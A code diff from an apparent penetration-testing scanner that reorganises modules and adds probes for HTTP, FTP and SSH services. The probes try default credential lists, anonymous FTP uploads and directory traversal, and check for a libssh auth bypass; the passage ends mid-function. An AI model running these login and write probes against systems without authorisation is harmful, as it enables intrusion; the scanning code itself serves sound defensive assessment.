-1,14 +0,0 @@ -from .web_discovery_mixin import _WebDiscoveryMixin -from .web_hardening_mixin import _WebHardeningMixin -from .web_api_mixin import _WebApiExposureMixin -from .web_injection_mixin import _WebInjectionMixin - - -class _WebTestsMixin( - _WebDiscoveryMixin, - _WebHardeningMixin, - _WebApiExposureMixin, - _WebInjectionMixin, -): - """Backward-compatible combined mixin -- prefer importing individual mixins.""" - pass diff --git a/extensions/business/cybersec/red_mesh/worker/__init__.py b/extensions/business/cybersec/red_mesh/worker/__init__.py new file mode 100644 index 00000000..ddf1fd3e --- /dev/null +++ b/extensions/business/cybersec/red_mesh/worker/__init__.py @@ -0,0 +1,4 @@ +from .pentest_worker import PentestLocalWorker +from .metrics_collector import MetricsCollector + +__all__ = ["PentestLocalWorker", "MetricsCollector"] diff --git a/extensions/business/cybersec/red_mesh/correlation_mixin.py b/extensions/business/cybersec/red_mesh/worker/correlation.py similarity index 99% rename from extensions/business/cybersec/red_mesh/correlation_mixin.py rename to extensions/business/cybersec/red_mesh/worker/correlation.py index 1f77d97c..d79c99d4 100644 --- a/extensions/business/cybersec/red_mesh/correlation_mixin.py +++ b/extensions/business/cybersec/red_mesh/worker/correlation.py @@ -8,7 +8,7 @@ import ipaddress -from .findings import Finding, Severity, probe_result +from ..findings import Finding, Severity, probe_result # Map keywords found in OS strings to normalized OS families diff --git a/extensions/business/cybersec/red_mesh/metrics_collector.py b/extensions/business/cybersec/red_mesh/worker/metrics_collector.py similarity index 99% rename from extensions/business/cybersec/red_mesh/metrics_collector.py rename to extensions/business/cybersec/red_mesh/worker/metrics_collector.py index 1f0295a7..3f2e60a8 100644 --- a/extensions/business/cybersec/red_mesh/metrics_collector.py +++ b/extensions/business/cybersec/red_mesh/worker/metrics_collector.py @@ -1,7 +1,7 @@ import time import statistics -from .models.shared import ScanMetrics +from ..models.shared import ScanMetrics class MetricsCollector: diff --git a/extensions/business/cybersec/red_mesh/pentest_worker.py b/extensions/business/cybersec/red_mesh/worker/pentest_worker.py similarity index 99% rename from extensions/business/cybersec/red_mesh/pentest_worker.py rename to extensions/business/cybersec/red_mesh/worker/pentest_worker.py index caa51f9c..3dd1e5dc 100644 --- a/extensions/business/cybersec/red_mesh/pentest_worker.py +++ b/extensions/business/cybersec/red_mesh/worker/pentest_worker.py @@ -7,16 +7,16 @@ import traceback import time -from .service_mixin import _ServiceInfoMixin -from .correlation_mixin import _CorrelationMixin -from .constants import ( +from .service import _ServiceInfoMixin +from .correlation import _CorrelationMixin +from ..constants import ( PROBE_PROTOCOL_MAP, WEB_PROTOCOLS, WELL_KNOWN_PORTS as _WELL_KNOWN_PORTS, FINGERPRINT_TIMEOUT, FINGERPRINT_MAX_BANNER, FINGERPRINT_HTTP_TIMEOUT, FINGERPRINT_NUDGE_TIMEOUT, SCAN_PORT_TIMEOUT, COMMON_PORTS, ALL_PORTS, ) -from .web_mixin import _WebTestsMixin +from .web import _WebTestsMixin from .metrics_collector import MetricsCollector diff --git a/extensions/business/cybersec/red_mesh/worker/service/__init__.py b/extensions/business/cybersec/red_mesh/worker/service/__init__.py new file mode 100644 index 00000000..2602748c --- /dev/null +++ b/extensions/business/cybersec/red_mesh/worker/service/__init__.py @@ -0,0 +1,15 @@ +from ._base import _ServiceProbeBase +from .common import _ServiceCommonMixin +from .database import _ServiceDatabaseMixin +from .infrastructure import _ServiceInfraMixin +from .tls import _ServiceTlsMixin + + +class _ServiceInfoMixin( + _ServiceCommonMixin, + _ServiceDatabaseMixin, + _ServiceInfraMixin, + _ServiceTlsMixin, +): + """Combined service probes mixin.""" + pass diff --git a/extensions/business/cybersec/red_mesh/worker/service/_base.py b/extensions/business/cybersec/red_mesh/worker/service/_base.py new file mode 100644 index 00000000..383f55b2 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/worker/service/_base.py @@ -0,0 +1,25 @@ +from ...findings import Finding, Severity, probe_result, probe_error +from ...cve_db import check_cves + + +class _ServiceProbeBase: + """ + Base mixin providing shared utilities for service probe sub-mixins. + + Subclasses inherit ``_emit_metadata`` for recording scan metadata and + have direct access to the ``findings``, ``cve_db`` helpers via module- + level imports. + """ + + def _emit_metadata(self, category, key_or_item, value=None): + """Safely append to scan_metadata sub-dicts without crashing if state is uninitialized.""" + meta = self.state.get("scan_metadata") + if meta is None: + return + bucket = meta.get(category) + if bucket is None: + return + if isinstance(bucket, dict): + bucket[key_or_item] = value + elif isinstance(bucket, list): + bucket.append(key_or_item) diff --git a/extensions/business/cybersec/red_mesh/worker/service/common.py b/extensions/business/cybersec/red_mesh/worker/service/common.py new file mode 100644 index 00000000..4b32f601 --- /dev/null +++ b/extensions/business/cybersec/red_mesh/worker/service/common.py @@ -0,0 +1,1716 @@ +import random +import re as _re +import socket +import struct +import ftplib +import requests +import ssl +from datetime import datetime + +import paramiko + +from ...findings import Finding, Severity, probe_result, probe_error +from ...cve_db import check_cves +from ._base import _ServiceProbeBase + +# Default credentials commonly found on exposed SSH services. +# Kept intentionally small — this is a quick check, not a brute-force. +_SSH_DEFAULT_CREDS = [ + ("root", "root"), + ("root", "toor"), + ("root", "password"), + ("admin", "admin"), + ("admin", "password"), + ("user", "user"), + ("test", "test"), +] + +# Default credentials for FTP services. +_FTP_DEFAULT_CREDS = [ + ("root", "root"), + ("admin", "admin"), + ("admin", "password"), + ("ftp", "ftp"), + ("user", "user"), + ("test", "test"), +] + +# Default credentials for Telnet services. +_TELNET_DEFAULT_CREDS = [ + ("root", "root"), + ("root", "toor"), + ("root", "password"), + ("admin", "admin"), + ("admin", "password"), + ("user", "user"), + ("test", "test"), +] + +_HTTP_SERVER_RE = _re.compile( + r'(Apache|nginx)[/ ]+(\d+(?:\.\d+)+)', _re.IGNORECASE, +) +_HTTP_PRODUCT_MAP = {'apache': 'apache', 'nginx': 'nginx'} + + +class _ServiceCommonMixin(_ServiceProbeBase): + """HTTP, FTP, SSH, SMTP, Telnet and Rsync service probes.""" + + def _service_info_http(self, target, port): # default port: 80 + """ + Assess HTTP service: server fingerprint, technology detection, + dangerous HTTP methods, and page title extraction. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + import re as _re + + findings = [] + scheme = "https" if port in (443, 8443) else "http" + url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + result = { + "banner": None, + "server": None, + "title": None, + "technologies": [], + "dangerous_methods": [], + } + + # --- 1. GET request — banner, server, title, tech fingerprint --- + try: + self.P(f"Fetching {url} for banner...") + ua = getattr(self, 'scanner_user_agent', '') + headers = {'User-Agent': ua} if ua else {} + resp = requests.get(url, timeout=5, verify=False, allow_redirects=True, headers=headers) + + result["banner"] = f"HTTP {resp.status_code} {resp.reason}" + result["server"] = resp.headers.get("Server") + if result["server"]: + self._emit_metadata("server_versions", port, result["server"]) + if result["server"]: + _m = _HTTP_SERVER_RE.search(result["server"]) + if _m: + _cve_product = _HTTP_PRODUCT_MAP.get(_m.group(1).lower()) + if _cve_product: + findings += check_cves(_cve_product, _m.group(2)) + powered_by = resp.headers.get("X-Powered-By") + + # Page title + title_match = _re.search( + r"(.*?)", resp.text[:5000], _re.IGNORECASE | _re.DOTALL + ) + if title_match: + result["title"] = title_match.group(1).strip()[:100] + + # Technology fingerprinting + body_lower = resp.text[:8000].lower() + tech_signatures = { + "WordPress": ["wp-content", "wp-includes"], + "Joomla": ["com_content", "/media/jui/"], + "Drupal": ["drupal.js", "sites/default/files"], + "Django": ["csrfmiddlewaretoken"], + "PHP": [".php", "phpsessid"], + "ASP.NET": ["__viewstate", ".aspx"], + "React": ["_next/", "__next_data__", "react"], + } + techs = [] + if result["server"]: + techs.append(result["server"]) + if powered_by: + techs.append(powered_by) + for tech, markers in tech_signatures.items(): + if any(m in body_lower for m in markers): + techs.append(tech) + result["technologies"] = techs + + except Exception as e: + # HTTP library failed (e.g. empty reply, connection reset). + # Fall back to raw socket probe — try HTTP/1.0 without Host header + # (some servers like nginx drop requests with unrecognized Host values). + try: + _s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + _s.settimeout(3) + _s.connect((target, port)) + # Use HTTP/1.0 without Host — matches nmap's GetRequest probe + _s.send(b"GET / HTTP/1.0\r\n\r\n") + _raw = b"" + while True: + chunk = _s.recv(4096) + if not chunk: + break + _raw += chunk + if len(_raw) > 16384: + break + _s.close() + _raw_str = _raw.decode("utf-8", errors="ignore") + if _raw_str: + lines = _raw_str.split("\r\n") + result["banner"] = lines[0].strip() if lines else "unknown" + for line in lines[1:]: + low = line.lower() + if low.startswith("server:"): + result["server"] = line.split(":", 1)[1].strip() + break + # Report that the server drops Host-header requests + findings.append(Finding( + severity=Severity.INFO, + title="HTTP service drops requests with Host header", + description=f"TCP port {port} returns empty replies for standard HTTP/1.1 " + "requests but responds to HTTP/1.0 without a Host header. " + "This indicates a server_name mismatch or intentional filtering.", + evidence=f"HTTP/1.1 with Host:{target} → empty reply; " + f"HTTP/1.0 without Host → {result['banner']}", + remediation="Configure a proper default server block or virtual host.", + cwe_id="CWE-200", + confidence="certain", + )) + # Check for directory listing in response body + body_start = _raw_str.find("\r\n\r\n") + if body_start > -1: + body = _raw_str[body_start + 4:] + if "directory listing" in body.lower() or "
  • (.*?)", body[:5000], _re.IGNORECASE | _re.DOTALL) + if title_m: + result["title"] = title_m.group(1).strip()[:100] + else: + result["banner"] = "(empty reply)" + findings.append(Finding( + severity=Severity.INFO, + title="HTTP service returns empty reply", + description=f"TCP port {port} accepts connections but the server " + "closes without sending any HTTP response data.", + evidence=f"Raw socket to {target}:{port} — connected OK, received 0 bytes.", + remediation="Investigate why the server sends empty replies; " + "verify proxy/upstream configuration.", + cwe_id="CWE-200", + confidence="certain", + )) + except Exception: + return probe_error(target, port, "HTTP", e) + return probe_result(raw_data=result, findings=findings) + + # --- 2. Dangerous HTTP methods --- + dangerous = [] + for method in ("TRACE", "PUT", "DELETE"): + try: + r = requests.request(method, url, timeout=3, verify=False) + if r.status_code < 400: + dangerous.append(method) + except Exception: + pass + + result["dangerous_methods"] = dangerous + if "TRACE" in dangerous: + findings.append(Finding( + severity=Severity.MEDIUM, + title="HTTP TRACE method enabled (cross-site tracing / XST attack vector).", + description="TRACE echoes request bodies back, enabling cross-site tracing attacks.", + evidence=f"TRACE {url} returned status < 400.", + remediation="Disable the TRACE method in the web server configuration.", + owasp_id="A05:2021", + cwe_id="CWE-693", + confidence="certain", + )) + if "PUT" in dangerous: + findings.append(Finding( + severity=Severity.HIGH, + title="HTTP PUT method enabled (potential unauthorized file upload).", + description="The PUT method allows uploading files to the server.", + evidence=f"PUT {url} returned status < 400.", + remediation="Disable the PUT method or restrict it to authenticated users.", + owasp_id="A01:2021", + cwe_id="CWE-749", + confidence="certain", + )) + if "DELETE" in dangerous: + findings.append(Finding( + severity=Severity.HIGH, + title="HTTP DELETE method enabled (potential unauthorized file deletion).", + description="The DELETE method allows removing resources from the server.", + evidence=f"DELETE {url} returned status < 400.", + remediation="Disable the DELETE method or restrict it to authenticated users.", + owasp_id="A01:2021", + cwe_id="CWE-749", + confidence="certain", + )) + + return probe_result(raw_data=result, findings=findings) + + + def _service_info_http_alt(self, target, port): # default port: 8080 + """ + Probe alternate HTTP port 8080 for verbose banners. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + # Skip standard HTTP ports — they are covered by _service_info_http. + if port in (80, 443): + return None + + findings = [] + raw = {"banner": None, "server": None} + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(2) + sock.connect((target, port)) + ua = getattr(self, 'scanner_user_agent', '') + ua_header = f"\r\nUser-Agent: {ua}" if ua else "" + msg = "HEAD / HTTP/1.1\r\nHost: {}{}\r\n\r\n".format(target, ua_header).encode('utf-8') + sock.send(bytes(msg)) + data = sock.recv(1024).decode('utf-8', errors='ignore') + sock.close() + + if data: + # Extract status line and Server header instead of dumping raw bytes + lines = data.split("\r\n") + status_line = lines[0].strip() if lines else "unknown" + raw["banner"] = status_line + for line in lines[1:]: + if line.lower().startswith("server:"): + raw["server"] = line.split(":", 1)[1].strip() + break + + # NOTE: CVE matching intentionally omitted here — _service_info_http + # already handles CVE lookups for all HTTP ports. Emitting them here + # caused duplicate findings on non-standard ports (batch 3 dedup fix). + except Exception as e: + return probe_error(target, port, "HTTP-ALT", e) + return probe_result(raw_data=raw, findings=findings) + + + def _service_info_https(self, target, port): # default port: 443 + """ + Collect HTTPS response banner data for TLS services. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings. + """ + findings = [] + raw = {"banner": None, "server": None} + try: + url = f"https://{target}" + if port != 443: + url = f"https://{target}:{port}" + self.P(f"Fetching {url} for banner...") + ua = getattr(self, 'scanner_user_agent', '') + headers = {'User-Agent': ua} if ua else {} + resp = requests.get(url, timeout=3, verify=False, headers=headers) + raw["banner"] = f"HTTPS {resp.status_code} {resp.reason}" + raw["server"] = resp.headers.get("Server") + if raw["server"]: + _m = _HTTP_SERVER_RE.search(raw["server"]) + if _m: + _cve_product = _HTTP_PRODUCT_MAP.get(_m.group(1).lower()) + if _cve_product: + findings += check_cves(_cve_product, _m.group(2)) + findings.append(Finding( + severity=Severity.INFO, + title=f"HTTPS service detected ({resp.status_code} {resp.reason})", + description=f"HTTPS service on {target}:{port}.", + evidence=f"Server: {raw['server'] or 'not disclosed'}", + confidence="certain", + )) + except Exception as e: + return probe_error(target, port, "HTTPS", e) + return probe_result(raw_data=raw, findings=findings) + + + # Default credentials for HTTP Basic Auth testing + _HTTP_BASIC_CREDS = [ + ("admin", "admin"), ("admin", "password"), ("admin", "1234"), + ("root", "root"), ("root", "password"), ("root", "toor"), + ("user", "user"), ("test", "test"), ("guest", "guest"), + ("admin", ""), ("tomcat", "tomcat"), ("manager", "manager"), + ] + + def _service_info_http_basic_auth(self, target, port): + """ + Test HTTP Basic Auth endpoints for default/weak credentials. + + Only runs when the target responds with 401 + WWW-Authenticate: Basic. + Tests a small set of default credential pairs. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict or None + Structured findings, or None if no Basic Auth detected. + """ + findings = [] + raw = {"basic_auth_detected": False, "tested": 0, "accepted": []} + scheme = "https" if port in (443, 8443) else "http" + base_url = f"{scheme}://{target}" if port in (80, 443) else f"{scheme}://{target}:{port}" + + # Probe / and /admin for 401 + Basic auth + auth_url = None + realm = None + for path in ("/", "/admin", "/manager"): + try: + resp = requests.get(base_url + path, timeout=3, verify=False) + if resp.status_code == 401: + www_auth = resp.headers.get("WWW-Authenticate", "") + if "Basic" in www_auth: + auth_url = base_url + path + realm_match = _re.search(r'realm="?([^"]*)"?', www_auth, _re.IGNORECASE) + realm = realm_match.group(1) if realm_match else "unknown" + break + except Exception: + continue + + if not auth_url: + return None # No Basic auth detected — skip entirely + + raw["basic_auth_detected"] = True + raw["realm"] = realm + + # Test credentials + consecutive_401 = 0 + for username, password in self._HTTP_BASIC_CREDS: + try: + resp = requests.get(auth_url, timeout=3, verify=False, auth=(username, password)) + raw["tested"] += 1 + + if resp.status_code == 429: + break # rate limited — stop + + if resp.status_code == 200 or resp.status_code == 301 or resp.status_code == 302: + cred_str = f"{username}:{password}" if password else f"{username}:(empty)" + raw["accepted"].append(cred_str) + findings.append(Finding( + severity=Severity.CRITICAL, + title=f"HTTP Basic Auth default credential: {cred_str}", + description=f"The web server at {auth_url} (realm: {realm}) accepted a default credential.", + evidence=f"GET {auth_url} with {cred_str} → HTTP {resp.status_code}", + remediation="Change default credentials immediately.", + owasp_id="A07:2021", + cwe_id="CWE-798", + confidence="certain", + )) + elif resp.status_code == 401: + consecutive_401 += 1 + except Exception: + break + + # No rate limiting after all attempts + if consecutive_401 >= len(self._HTTP_BASIC_CREDS) - 1: + findings.append(Finding( + severity=Severity.MEDIUM, + title=f"HTTP Basic Auth has no rate limiting ({raw['tested']} attempts accepted)", + description="The server does not rate-limit failed authentication attempts.", + evidence=f"{consecutive_401} consecutive 401 responses without rate limiting.", + remediation="Implement account lockout or rate limiting for failed auth attempts.", + owasp_id="A07:2021", + cwe_id="CWE-307", + confidence="firm", + )) + + return probe_result(raw_data=raw, findings=findings) + + + def _service_info_ftp(self, target, port): # default port: 21 + """ + Assess FTP service security: banner, anonymous access, default creds, + server fingerprint, TLS support, write access, and credential validation. + + Checks performed (in order): + + 1. Banner grab and SYST/FEAT fingerprint. + 2. Anonymous login attempt. + 3. Write access test (STOR) after anonymous login. + 4. Directory listing and traversal. + 5. TLS support check (AUTH TLS). + 6. Default credential check. + 7. Arbitrary credential acceptance test. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings with banner, vulnerabilities, server_info, etc. + """ + findings = [] + result = { + "banner": None, + "server_type": None, + "features": [], + "anonymous_access": False, + "write_access": False, + "tls_supported": False, + "accepted_credentials": [], + "directory_listing": None, + } + + def _ftp_connect(user=None, passwd=None): + """Open a fresh FTP connection and optionally login.""" + ftp = ftplib.FTP(timeout=5) + ftp.connect(target, port, timeout=5) + if user is not None: + ftp.login(user, passwd or "") + return ftp + + # --- 1. Banner grab --- + try: + ftp = _ftp_connect() + result["banner"] = ftp.getwelcome() + except Exception as e: + return probe_error(target, port, "FTP", e) + + # FTP server version CVE check + _ftp_m = _re.search( + r'(ProFTPD|vsftpd)[/ ]+(\d+(?:\.\d+)+)', + result["banner"], _re.IGNORECASE, + ) + if _ftp_m: + _cve_product = {'proftpd': 'proftpd', 'vsftpd': 'vsftpd'}.get(_ftp_m.group(1).lower()) + if _cve_product: + findings += check_cves(_cve_product, _ftp_m.group(2)) + + # --- 2. Anonymous login --- + try: + resp = ftp.login() + result["anonymous_access"] = True + findings.append(Finding( + severity=Severity.HIGH, + title="FTP allows anonymous login.", + description="The FTP server permits unauthenticated access via anonymous login.", + evidence="Anonymous login succeeded.", + remediation="Disable anonymous FTP access unless explicitly required.", + owasp_id="A07:2021", + cwe_id="CWE-287", + confidence="certain", + )) + except Exception: + # Anonymous failed — close and move on to credential tests + try: + ftp.quit() + except Exception: + pass + ftp = None + + # --- 2b. SYST / FEAT (after login — some servers require auth first) --- + if ftp: + try: + syst = ftp.sendcmd("SYST") + result["server_type"] = syst + except Exception: + pass + + try: + feat_resp = ftp.sendcmd("FEAT") + feats = [ + line.strip() for line in feat_resp.split("\n") + if line.strip() and not line.startswith("211") + ] + result["features"] = feats + except Exception: + pass + + # --- 2c. PASV IP leak check --- + if ftp and result["anonymous_access"]: + try: + pasv_resp = ftp.sendcmd("PASV") + _pasv_match = _re.search(r'\((\d+),(\d+),(\d+),(\d+),(\d+),(\d+)\)', pasv_resp) + if _pasv_match: + pasv_ip = f"{_pasv_match.group(1)}.{_pasv_match.group(2)}.{_pasv_match.group(3)}.{_pasv_match.group(4)}" + if pasv_ip != target: + import ipaddress as _ipaddress + try: + if _ipaddress.ip_address(pasv_ip).is_private: + result["pasv_ip"] = pasv_ip + self._emit_metadata("internal_ips", {"ip": pasv_ip, "source": f"ftp_pasv:{port}"}) + findings.append(Finding( + severity=Severity.MEDIUM, + title=f"FTP PASV leaks internal IP: {pasv_ip}", + description=f"PASV response reveals RFC1918 address {pasv_ip}, different from target {target}.", + evidence=f"PASV response: {pasv_resp}", + remediation="Configure FTP passive address masquerading to use the public IP.", + owasp_id="A05:2021", + cwe_id="CWE-200", + confidence="certain", + )) + except (ValueError, TypeError): + pass + except Exception: + pass + + # --- 3. Write access test (only if anonymous login succeeded) --- + if ftp and result["anonymous_access"]: + import io + try: + ftp.set_pasv(True) + test_data = io.BytesIO(b"RedMesh write access probe") + resp = ftp.storbinary("STOR __redmesh_probe.txt", test_data) + if resp and resp.startswith("226"): + result["write_access"] = True + findings.append(Finding( + severity=Severity.CRITICAL, + title="FTP anonymous write access enabled (file upload possible).", + description="Anonymous users can upload files to the FTP server.", + evidence="STOR command succeeded with anonymous session.", + remediation="Remove write permissions for anonymous FTP users.", + owasp_id="A01:2021", + cwe_id="CWE-434", + confidence="certain", + )) + try: + ftp.delete("__redmesh_probe.txt") + except Exception: + pass + except Exception: + pass + + # --- 4. Directory listing and traversal --- + if ftp: + try: + pwd = ftp.pwd() + files = [] + try: + ftp.retrlines("LIST", files.append) + except Exception: + pass + if files: + result["directory_listing"] = files[:20] + except Exception: + pass + + # Check if CWD allows directory traversal + for test_dir in ["/etc", "/var", ".."]: + try: + resp = ftp.cwd(test_dir) + if resp and (resp.startswith("250") or resp.startswith("200")): + findings.append(Finding( + severity=Severity.HIGH, + title=f"FTP directory traversal: CWD to '{test_dir}' succeeded.", + description="The FTP server allows changing to directories outside the intended root.", + evidence=f"CWD '{test_dir}' returned: {resp}", + remediation="Restrict FTP users to their home directory (chroot).", + owasp_id="A01:2021", + cwe_id="CWE-22", + confidence="certain", + )) + break + except Exception: + pass + try: + ftp.cwd("/") + except Exception: + pass + + if ftp: + try: + ftp.quit() + except Exception: + pass + + # --- 5. TLS support check --- + try: + ftp_tls = _ftp_connect() + resp = ftp_tls.sendcmd("AUTH TLS") + if resp.startswith("234"): + result["tls_supported"] = True + try: + ftp_tls.quit() + except Exception: + pass + except Exception: + if not result["tls_supported"]: + findings.append(Finding( + severity=Severity.MEDIUM, + title="FTP does not support TLS encryption (cleartext credentials).", + description="Credentials and data are transmitted in cleartext over the network.", + evidence="AUTH TLS command rejected or not supported.", + remediation="Enable FTPS (AUTH TLS) or migrate to SFTP.", + owasp_id="A02:2021", + cwe_id="CWE-319", + confidence="certain", + )) + + # --- 6. Default credential check --- + for user, passwd in _FTP_DEFAULT_CREDS: + try: + ftp_cred = _ftp_connect(user, passwd) + result["accepted_credentials"].append(f"{user}:{passwd}") + findings.append(Finding( + severity=Severity.CRITICAL, + title=f"FTP default credential accepted: {user}:{passwd}", + description="The FTP server accepted a well-known default credential.", + evidence=f"Accepted credential: {user}:{passwd}", + remediation="Change default passwords and enforce strong credential policies.", + owasp_id="A07:2021", + cwe_id="CWE-798", + confidence="certain", + )) + try: + ftp_cred.quit() + except Exception: + pass + except (ftplib.error_perm, ftplib.error_reply): + pass + except Exception: + pass + + # --- 7. Arbitrary credential acceptance test --- + import string as _string + ruser = "".join(random.choices(_string.ascii_lowercase, k=8)) + rpass = "".join(random.choices(_string.ascii_letters + _string.digits, k=12)) + try: + ftp_rand = _ftp_connect(ruser, rpass) + findings.append(Finding( + severity=Severity.CRITICAL, + title="FTP accepts arbitrary credentials", + description="Random credentials were accepted, indicating a dangerous misconfiguration or deceptive service.", + evidence=f"Accepted random creds {ruser}:{rpass}", + remediation="Investigate immediately — authentication is non-functional.", + owasp_id="A07:2021", + cwe_id="CWE-287", + confidence="certain", + )) + try: + ftp_rand.quit() + except Exception: + pass + except (ftplib.error_perm, ftplib.error_reply): + pass + except Exception: + pass + + return probe_result(raw_data=result, findings=findings) + + def _service_info_ssh(self, target, port): # default port: 22 + """ + Assess SSH service security: banner, auth methods, and default credentials. + + Checks performed (in order): + + 1. Banner grab — fingerprint server version. + 2. Auth method enumeration — identify if password auth is enabled. + 3. Default credential check — try a small list of common creds. + 4. Arbitrary credential acceptance test. + + Parameters + ---------- + target : str + Hostname or IP address. + port : int + Port being probed. + + Returns + ------- + dict + Structured findings with banner, auth_methods, and vulnerabilities. + """ + findings = [] + result = { + "banner": None, + "auth_methods": [], + } + + # --- 1. Banner grab (raw socket) --- + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(3) + sock.connect((target, port)) + banner = sock.recv(1024).decode("utf-8", errors="ignore").strip() + sock.close() + result["banner"] = banner + # Emit OS claim from SSH banner (e.g. "SSH-2.0-OpenSSH_8.9p1 Ubuntu") + _os_match = _re.search(r'(Ubuntu|Debian|Fedora|CentOS|Alpine|FreeBSD)', banner, _re.IGNORECASE) + if _os_match: + self._emit_metadata("os_claims", f"ssh:{port}", _os_match.group(1)) + except Exception as e: + return probe_error(target, port, "SSH", e) + + # --- 2. Auth method enumeration via paramiko Transport --- + try: + transport = paramiko.Transport((target, port)) + transport.connect() + try: + transport.auth_none("") + except paramiko.BadAuthenticationType as e: + result["auth_methods"] = list(e.allowed_types) + except paramiko.AuthenticationException: + result["auth_methods"] = ["unknown"] + finally: + transport.close() + except Exception as e: + self.P(f"SSH auth enumeration failed on {target}:{port}: {e}", color='y') + + if "password" in result["auth_methods"]: + findings.append(Finding( + severity=Severity.MEDIUM, + title="SSH password authentication is enabled (prefer key-based auth).", + description="The SSH server allows password-based login, which is susceptible to brute-force attacks.", + evidence=f"Auth methods: {', '.join(result['auth_methods'])}", + remediation="Disable PasswordAuthentication in sshd_config and use key-based auth.", + owasp_id="A07:2021", + cwe_id="CWE-287", + confidence="certain", + )) + + # --- 3. Default credential check --- + accepted_creds = [] + + for username, password in _SSH_DEFAULT_CREDS: + try: + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + client.connect( + target, port=port, + username=username, password=password, + timeout=3, auth_timeout=3, + look_for_keys=False, allow_agent=False, + ) + accepted_creds.append(f"{username}:{password}") + client.close() + except paramiko.AuthenticationException: + continue + except Exception: + break # connection issue, stop trying + + # --- 4. Arbitrary credential acceptance test --- + random_user = f"probe_{random.randint(10000, 99999)}" + random_pass = f"rnd_{random.randint(10000, 99999)}" + try: + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + client.connect( + target, port=port, + username=random_user, password=random_pass, + timeout=3, auth_timeout=3, + look_for_keys=False, allow_agent=False, + ) + findings.append(Finding( + severity=Severity.CRITICAL, + title="SSH accepts arbitrary credentials", + description="Random credentials were accepted, indicating a dangerous misconfiguration or deceptive service.", + evidence=f"Accepted random creds {random_user}:{random_pass}", + remediation="Investigate immediately — authentication is non-functional.", + owasp_id="A07:2021", + cwe_id="CWE-287", + confidence="certain", + )) + client.close() + except paramiko.AuthenticationException: + pass + except Exception: + pass + + if accepted_creds: + result["accepted_credentials"] = accepted_creds + for cred in accepted_creds: + findings.append(Finding( + severity=Severity.CRITICAL, + title=f"SSH default credential accepted: {cred}", + description=f"The SSH server accepted a well-known default credential.", + evidence=f"Accepted credential: {cred}", + remediation="Change default passwords immediately and enforce strong credential policies.", + owasp_id="A07:2021", + cwe_id="CWE-798", + confidence="certain", + )) + + # --- 5. Cipher/KEX audit --- + cipher_findings, weak_labels = self._ssh_check_ciphers(target, port) + findings += cipher_findings + result["weak_algorithms"] = weak_labels + + # --- 6. CVE check on banner version --- + if result["banner"]: + ssh_lib, ssh_version = self._ssh_identify_library(result["banner"]) + if ssh_lib and ssh_version: + result["ssh_library"] = ssh_lib + result["ssh_version"] = ssh_version + findings += check_cves(ssh_lib, ssh_version) + + # --- 7. libssh auth bypass (CVE-2018-10933) --- + if ssh_lib == "libssh": + bypass = self._ssh_check_libssh_bypass(target, port) + if bypass: + findings.append(bypass) + + return probe_result(raw_data=result, findings=findings) + + # Patterns: (regex, product_name_for_cve_db) + _SSH_LIBRARY_PATTERNS = [ + (_re.compile(r'OpenSSH[_\s](\d+\.\d+(?:\.\d+)?)', _re.IGNORECASE), "openssh"), + (_re.compile(r'libssh[_\s-](\d+\.\d+(?:\.\d+)?)', _re.IGNORECASE), "libssh"), + (_re.compile(r'dropbear[_\s](\d+(?:\.\d+)*)', _re.IGNORECASE), "dropbear"), + (_re.compile(r'paramiko[_\s](\d+\.\d+(?:\.\d+)?)', _re.IGNORECASE), "paramiko"), + (_re.compile(r'Erlang[/\s](?:OTP[_/\s]*)?(\d+\.\d+(?:\.\d+)*)', _re.IGNORECASE), "erlang_ssh"), + ] + + def _ssh_identify_library(self, banner): + """Identify SSH library and version from banner string. + + Returns + ------- + tuple[str | None, str | None] + (product_name, version) — product_name matches cve_db product keys. + """ + for pattern, product in self._SSH_LIBRARY_PATTERNS: + m = pattern.search(banner) + if m: + return product, m.group(1) + return None, None + + def _ssh_check_ciphers(self, target, port): + """Audit SSH ciphers, KEX, and MACs via paramiko Transport. + + Returns + ------- + tuple[list[Finding], list[str]] + (findings, weak_algorithm_labels) — findings for probe_result, + labels for the raw-data ``weak_algorithms`` field. + """ + findings = [] + weak_labels = [] + _WEAK_CIPHERS = {"3des-cbc", "blowfish-cbc", "arcfour", "arcfour128", "arcfour256", + "aes128-cbc", "aes192-cbc", "aes256-cbc", "cast128-cbc"} + _WEAK_KEX = {"diffie-hellman-group1-sha1", "diffie-hellman-group14-sha1", + "diffie-hellman-group-exchange-sha1"} + + try: + transport = paramiko.Transport((target, port)) + transport.connect() + sec_opts = transport.get_security_options() + + ciphers = set(sec_opts.ciphers) if sec_opts.ciphers else set() + kex = set(sec_opts.kex) if sec_opts.kex else set() + key_types = set(sec_opts.key_types) if sec_opts.key_types else set() + + # RSA key size check — must be done before transport.close() + try: + remote_key = transport.get_remote_server_key() + if remote_key is not None and remote_key.get_name() == "ssh-rsa": + key_bits = remote_key.get_bits() + if key_bits < 2048: + findings.append(Finding( + severity=Severity.HIGH, + title=f"SSH RSA key is critically weak ({key_bits}-bit)", + description=f"The server's RSA host key is only {key_bits}-bit, which is trivially factorable.", + evidence=f"RSA key size: {key_bits} bits", + remediation="Generate a new RSA key of at least 3072 bits, or switch to Ed25519.", + owasp_id="A02:2021", + cwe_id="CWE-326", + confidence="certain", + )) + weak_labels.append(f"rsa_key: {key_bits}-bit") + elif key_bits < 3072: + findings.append(Finding( + severity=Severity.LOW, + title=f"SSH RSA key below NIST recommendation ({key_bits}-bit)", + description=f"The server's RSA host key is {key_bits}-bit. NIST recommends >=3072-bit after 2023.", + evidence=f"RSA key size: {key_bits} bits", + remediation="Generate a new RSA key of at least 3072 bits, or switch to Ed25519.", + 